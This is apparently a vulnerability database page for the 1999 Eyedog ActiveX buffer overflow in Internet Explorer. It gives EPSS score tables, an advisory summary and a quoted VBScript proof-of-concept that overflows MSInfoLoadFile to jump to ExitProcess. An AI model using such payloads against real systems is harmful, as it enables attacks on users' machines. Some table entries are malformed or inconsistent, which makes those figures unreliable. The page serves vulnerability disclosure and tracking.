CVE-1999-0669 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	25.6%	–	–
2022-04-03	–	–	25.6%	–	–
2023-03-12	–	–	–	2.69%	–
2024-02-11	–	–	–	2.92%	–
2024-03-03	–	–	–	2.92%	–
2024-06-02	–	–	–	2.92%	–
2024-12-22	–	–	–	2.03%	–
2025-01-19	–	–	–	2.03%	–
2025-03-18	–	–	–	–	11.48%
2025-03-30	–	–	–	–	13.73%
2025-03-30	–	–	–	–	13.73,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	96%
2022-04-03	97%
2023-03-12	89%
2024-02-11	9%
2024-03-03	91%
2024-06-02	91%
2024-12-22	89%
2025-01-19	89%
2025-03-18	93%
2025-03-30	94%
2025-03-30	94%

Microsoft Internet Explorer 4.0/5.0 for Windows 95/Windows NT 4/Windows 2000/Windows 95/Windows 98 ActiveX "Eyedog" Vulnerability source: https://www.securityfocus.com/bid/619/info The Eyedog ActiveX control is marked 'safe for scripting' although it permits registry access and other information gathering methods to be used. It also contains a buffer overflow error. These weaknesses can be exploited remotely via a malicious webpage or email. With this control, MSInfoLoadFile is the offending method. There is no easy way to RET to our code, so instead, I have shown how to simply RET to ExitProcess directly. This will cause the host to terminate. <object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA" id="eye"></object> <script language="vbscript"><!-- msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written by Shane Hird") 'Padding for the exploit expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA" 'RET address (ExitProcess, BFF8D4CA) expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'Call exploitable method (MSInfoLoadFile) eye.MSInfoLoadFile(expstr) --></script>